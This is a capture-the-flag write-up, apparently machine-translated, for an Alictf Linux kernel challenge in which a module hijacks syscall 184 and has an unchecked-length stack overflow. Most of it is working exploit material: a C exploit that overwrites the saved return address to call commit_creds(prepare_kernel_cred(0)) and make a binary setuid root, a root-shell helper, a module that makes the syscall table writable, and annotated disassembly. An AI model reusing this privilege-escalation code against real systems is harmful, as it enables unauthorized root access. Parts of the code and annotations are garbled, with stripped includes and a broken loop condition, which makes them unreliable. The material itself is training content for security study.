Alictf linux exploit Solution
1. Load modules
Sudo insmod moduledmesg can see the hook. It is suggested that the module hijacked the system call, or the system call may be added.
Then I wrote a program to traverse the system call, confirmed that no system call was added, and then I wrote another module to traverse the sys_call_table and sys_ia32_call_table arrays, and confirmed that the system call was changed. the system call number is 184.
At the same time, the symbol table in/proc/kallsyms and sys_call_table [184] can see the new_kbof_test function. That is to say, syscall (184) will execute the new_kbof_test function.
So we will analyze the functions and parameters of the new_kbof_test function. 2. Disassemble rootme. ko and analyze the functions and parameters of the function (the attachment has a detailed disassembly Report)
Objdump-d rootme. ko> 1.txt decompilation code segment readelf-r rootme. ko> 2.txt: Reading duplicate location information; 2. txt of duplicate location information and 1.txt of the reverse compilation code. The functions of these two functions are analyzed. the new_kbof_test function receives two parameters. The first is the string address and the second is an integer. copy the string from the user space to the kernel space, and then call the buffer_overflow_test function. in the buffer_overflow_test function, the same string is copied to the buffer_overflow_test stack. However, no replication length is detected at this time, so the rip can be overwritten, when the function returns, it will jump to the overwrite rip to start. 3. compile exploit to calculate the rip offset address: 0x100 + 8*3 0x100 is the stack size of the buffer_overflow_test function. 8*3 is because three 8-byte registers are pushed. overwrite rip to the address of the kernel_code function in the user State in exploit.
Compilation Method:
Default
Gcc test. c-o test
Gcc exp. c-o exp
./Exp
Permission escalation successful:
Exp. c:
#include #include #include #include #include #include #include #include typedef int __attribute__((regparm(1))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(1))) (* _prepare_kernel_cred)(unsigned long cred); typedef long __attribute__((regparm(2))) (* _sys_chmod) (const char *filename, mode_t mode); typedef long __attribute__((regparm(3))) (*_sys_chown) (const char *filename, uid_t user, gid_t group); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; _sys_chmod sys_chmod; _sys_chown sys_chown; char *filename="/home/kexp/test"; char exp[0x120]={'A'}; int __attribute__((regparm(3))) kernel_code() { commit_creds(prepare_kernel_cred(0)); sys_chown(filename,0,0); sys_chmod(filename,7777); return -1; } unsigned long get_symbol(char *name) { FILE *f; unsigned long addr; char dummy, sym[512]; int ret = 0; f = fopen("/proc/kallsyms", "r"); if (!f) { return 0; } while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym); if (ret == 0) { fscanf(f, "%s\n", sym); continue; } if (!strcmp(name, sym)) { printf("[+] resolved symbol %s to %p\n", name, (void *) addr); fclose(f); return addr; } } fclose(f); return 0; } void main() { unsigned long *asd=&exp[0x118]; *asd=(unsigned long)kernel_code; commit_creds = (_commit_creds) get_symbol("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred"); sys_chmod=(_sys_chmod) get_symbol("sys_chmod"); sys_chown=(_sys_chown) get_symbol("sys_chown"); if(sys_chmod==0||commit_creds==0||prepare_kernel_cred==0) { printf("beiju\n"); } syscall(184,exp,0x120); }
Test. c:
#include #include #include void main() { setuid(0); system("/bin/sh"); }
Myopen. c :( compile the Makefile of Myopen. c below)
#include #include #include #include #include #include #define GPF_DISABLE write_cr0(read_cr0() & (~ 0x10000)) #define GPF_ENABLE write_cr0(read_cr0() | 0x10000) MODULE_LICENSE("GPL"); MODULE_AUTHOR("Franz Pletz"); MODULE_DESCRIPTION("for teh lulz!"); char *rollfile; void **sys_call_table = (void **)0xffffffff8130e070; /* TODO: change */ module_param(rollfile, charp, 0000); MODULE_PARM_DESC(rollfile, "music trolling file"); module_param(sys_call_table, ulong, 0000); MODULE_PARM_DESC(sys_call_table, "address of the system call table"); void set_addr_rw(unsigned long addr) { unsigned int level; pte_t *pte = lookup_address(addr, &level); if(pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW; } void set_addr_ro(unsigned long addr) { unsigned int level; pte_t *pte = lookup_address(addr, &level); pte->pte = pte->pte &~_PAGE_RW; } static int __init init_rickroll(void) { int i; if(sys_call_table == NULL) { printk(KERN_ERR "Cannot find the system call address\n"); return -1; /* do not load */ } else { printk(KERN_INFO "System call table found @ %lx\n", (unsigned long)sys_call_table); } set_addr_rw((unsigned long)sys_call_table); GPF_DISABLE; for(i=0;i298;i++) { printk(KERN_INFO "%d:%x\n",i,sys_call_table[i]); } return 0; } static void __exit exit_rickroll(void) { set_addr_ro((unsigned long)sys_call_table); GPF_ENABLE; } module_init(init_rickroll); module_exit(exit_rickroll);
Compile the Makefile of Myopen. c:
Obj-m + = myopen. o
All:
Make-C/lib/modules/$ (shell uname-r)/build M = $ (shell pwd)
The results of the disassembly (ida can be seen easily, but ida is not clear at the time ):
0000000000000071 buffer_overflow_test>: 71: 41 54 push % r12 73: ba 00 01 00 00 mov $0x100, % edx 78: 41 89 f4 mov % esi, % r12d // % r12 buffer_overflow_test second parameter 7b: 31 f6 xor % esi, % esi 7d: 55 push % rbp 7e: 53 push % rbx 7f: 48 89 fb mov % rdi, % rbx // first parameter of rbx buffer_overflow_test 82: 48 81 ec 00 01 00 00 sub $0x100, % rsp 89: 48 89 e7 mov % rsp, % rdi 8c: e8 00 00 00 00 callq 91 buffer_overflow_test + 0x20> memset (rdi = stack top, rsi = 0, 100) initialize the second parameter of stack 91: 49 63 cc movslq % r12d, % rcx // % r12 move the number of characters buffer_overflow_test, no check length, vulnerability 94: 48 89 e7 mov % rsp, % rdi // first parameter of stack top 97: 48 89 de mov % rbx, % rsi // % rbx buffer_overflow_test, memory Address, controllable content, 9a: fc cld // Add address 9b: f3 a4 rep movsb % ds :( % rsi), % es :( % rdi) controllable content => stack, which can overwrite rip 9d: 48 81 c4 00 01 00 00 add $0x100, % rsp a4: 5b pop % rbx a5: 5d pop % rbp a6: 41 5c pop % r12 a8: c3 retq
201710000000000a9 new_kbof_test>: a9: 41 54 push % r12 AB: ba 00 01 00 00 mov $0x100, % edx b0: 49 89 fc mov % rdi, % r12 b3: 55 push % rbp b4: 89 f5 mov % esi, % ebp b6: 31 f6 xor % esi, % esi b8: 53 push % rbx b9: 48 81 ec 00 01 00 00 sub $0x100, % rsp c0: 48 89 e7 mov % rsp, % rdi c3: e8 00 00 00 00 callq c8 new_kbof_test + 0x1f> memset (rdi = rsp, esi = 0, edx = 0x100) the stack is 0x100 and the initial stack is 0. c8: 48 63 fd movslq % ebp, % rdi //??? Cb: be d0 00 00 00 mov $0xd0, % esi d0: e8 00 00 00 00 callq d5 new_kbof_test + 0x2c> memset (rdi = (length of the second input parameter ), esi = 0xd0) memory allocation 0xd0 d5: 48 85 c0 test % rax, % rax d8: 48 89 c3 mov % rax, % rbx // return value of kmalloc. If rdi is successful, if the call fails, NULL is returned .. db: 74 14 je f1 new_kbof_test + 0x48> dd: 89 ea mov % ebp, % edx df: 4c 89 e6 mov % r12, % rsi e2: 48 89 c7 mov % rax, % rdi e5: e8 00 00 00 00 callq ea new_kbof_test + 0x41> copy_from_user (rdi = kma Lloc return value, rsi = the first input parameter, edx = the second input parameter) // ea: 48 85 c0 test % rax, % rax // copy_from_user success return 0, otherwise, the failure information is printed //????????? Determine how copy_from_user works: copy_from_user (to, from. length) ed: 74 1f je 10e new_kbof_test + 0x65> ef: eb 09 jmp fa new_kbof_test + 0x51> f1: 48 c7 00 00 00 00 mov $0x0, % rdi //. rodata. str1.1 + 2d kmalloc failed f8: eb 07 jmp 101 new_kbof_test + 0x58> fa: 48 c7 c7 00 00 00 00 mov $0x0, % rdi //. rodata. str1.1 + 3e copy data from user fail 101: 31 c0 xor % eax, % eax 103: e8 00 00 00 00 callq 108 new_kbof_test + 0x5f> printk 108: 48 83 c8 ff or $0 xffffffffffff, % rax 10c: eb 0c jmp 11a new_kbof_test + 0x71> 10e: 89 ee mov % ebp, % esi // 110: 48 89 df mov % rbx, % rdi 113: e8 00 00 00 00 callq 118 new_kbof_test + 0x6f> buffer_over_flow (rdi = kmalloc return value, rsi = second input parameter) 118: 31 c0 xor % eax, % eax 11a: 48 81 c4 00 01 00 00 add $0x100, % rsp 121: 5b pop % rbx 122: 5d pop % rbp 123: 41 5c pop % r12 125: c3 retq